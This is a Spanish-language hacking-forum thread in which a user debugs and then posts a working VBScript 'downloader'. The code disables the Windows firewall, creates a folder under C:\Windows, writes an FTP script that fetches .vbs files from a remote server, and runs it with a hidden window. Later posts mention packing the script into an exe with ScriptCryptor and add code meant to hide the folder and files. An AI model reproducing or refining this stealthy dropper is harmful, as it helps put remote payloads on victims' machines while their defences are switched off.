Buenas tardes, tomando las ideas de varios foreros, arme un downloader que se conecta al hosting, crea carpeta y aparecen las carpetas y archivos a descargar pero....
vacios.
Ya cambie de hosting y lo mismo pasa.
Alguien ha tenido el mismo problema? Gracias.

Gracias por contestar, para nada es malware.

Y el codigo es este:

Set fw = CreateObject("HNetCfg.FwMgr")
Set policy = fw.LocalPolicy.CurrentProfile
policy.FirewallEnabled = FALSE

Set PV2 = CreateObject("Scripting.FileSystemObject")
PV2.createfolder "C:\Windows\diana"

Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\script-

ftp.dll",true)
archivotexto.writeline "ftp.xxxxx.org"
archivotexto.writeline "xxxxxxxxxxxxx"
archivotexto.writeline "xxxxxxxxxxx"
archivotexto.writeline "binary"
archivotexto.writeline "cd /public_html"
archivotexto.writeline "lcd C:\WINDOWS\diana"
archivotexto.writeline "get varios.vbs"
archivotexto.writeline "get borrar.vbs"
archivotexto.writeline "bye"
archivotexto.close

Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile

("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll

ftp.260mb.org"
archivotexto.writeline "bye"
archivotexto.close

set cmd = createobject("wscript.shell")
set shell = CreateObject("Scripting.FileSystemObject")
cmd.run "C:\WINDOWS\diana\descarga.cmd", vbHide


Nota: En relacion al antivirus, lo desactive y como podras ver el firewall se desactiva al inicio del codigo.

Olvide mencionar que ya use un segundo hosting, he probado en 2 maquinas diferentes y lo mismo pasa.

Gracias por tus comentarios.

Uffffff disculpa, perdoname la vida.

Si para ti es molestia el hecho de cometer un error mil disculpas, espero no haberte ofendido ni haber afectado tus intereses, solo pido ayuda.

En realidad de ti solo he recibido recriminaciones, con todo respeto creo que con no contestar te hubiera evitado molestias.

Y el porque esta este nuevo tema aqui, sera por el mismo motivo que esta este otro aqui.

http://foro.elhacker.net/hacking_basico/manual_creando_un_downloader_en_batch_ataques_con_noip_servu_radmin21-t186544.0.html

De cualquier manera gracias. Lo mejor para ti.

skapunky:

El archivo vbs al final se convierte a exe con el ScriptCryptor
Gracias por tus comentarios, saludos.

Lucas.AR:

Gracias por contestar, hare las correcciones que mencionas y probare.
Te comento resultados en un momento, gracias.

Lucas.AR:

Ya hice las modificaciones, pero me sigue descargando los archivos vacios.
Estarias de acuerdo en que te pase los datos de conexion por privado para que veas los resultados? Bueno si tienes tiempo Gracias.

Se me ocurre que por algun motivo el hosting me tenga bloqueado, podrias probar el script en algun hosting?? Gracias.

Lucas.AR:

Solucionado, el codigo quedo asi:

Set fw = CreateObject("HNetCfg.FwMgr")
Set policy = fw.LocalPolicy.CurrentProfile
policy.FirewallEnabled = FALSE

Set PV2 = CreateObject("Scripting.FileSystemObject")
PV2.createfolder "C:\Windows\diana"

Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\script-ftp.dll",true)
archivotexto.writeline "open xx.xxx.xxx.xx"
archivotexto.writeline "xxxxxxxx"
archivotexto.writeline "xxxxxxx"
archivotexto.writeline "binary"
archivotexto.writeline "cd /"
archivotexto.writeline "lcd C:\WINDOWS\diana"
'archivotexto.writeline "get PRUEBA.exe"
archivotexto.writeline "get varios.vbs"
archivotexto.writeline "bye"
archivotexto.close

Set objfso = createobject("scripting.filesystemobject")
Set archivotexto = objfso.createtextfile("C:\windows\diana\descarga.cmd",true)
archivotexto.writeline "@echo off"
archivotexto.writeline "ftp -s:C:\WINDOWS\diana\script-ftp.dll"
archivotexto.close

set cmd = createobject("wscript.shell")
set shell = CreateObject("Scripting.FileSystemObject")
cmd.run "C:\WINDOWS\diana\descarga.cmd", vbHide

Aprovechando, otra molestia.
He tratado de aplicar atributos a carpetas y archivos mediante vbs pero no lo he logrado.

Trate con este codigo pero no me funciona
Set objfso = createobject("scripting.filesystemobject")

Set archivo = objfso.getfile("C:\tutorial.pdf")   'obtenemos el control sobre el archivo pdf
archivo.attributes = 34            'attributo dearchivo y oculto

Gracias por tu orientacion, saludos.


Lucas.AR:

Solucionado, para ocultar carpeta y archivo en vbs, los codigos son:

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder("C:\WINDOWS\diana")
If objFolder.Attributes = objFolder.Attributes AND 2 Then
    objFolder.Attributes = objFolder.Attributes XOR 2
End If

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.GetFile("C:\WINDOWS\archivo.zip")
If objFile.Attributes = objFile.Attributes AND 2 Then
    objFile.Attributes = objFile.Attributes XOR 2
End If

Saludos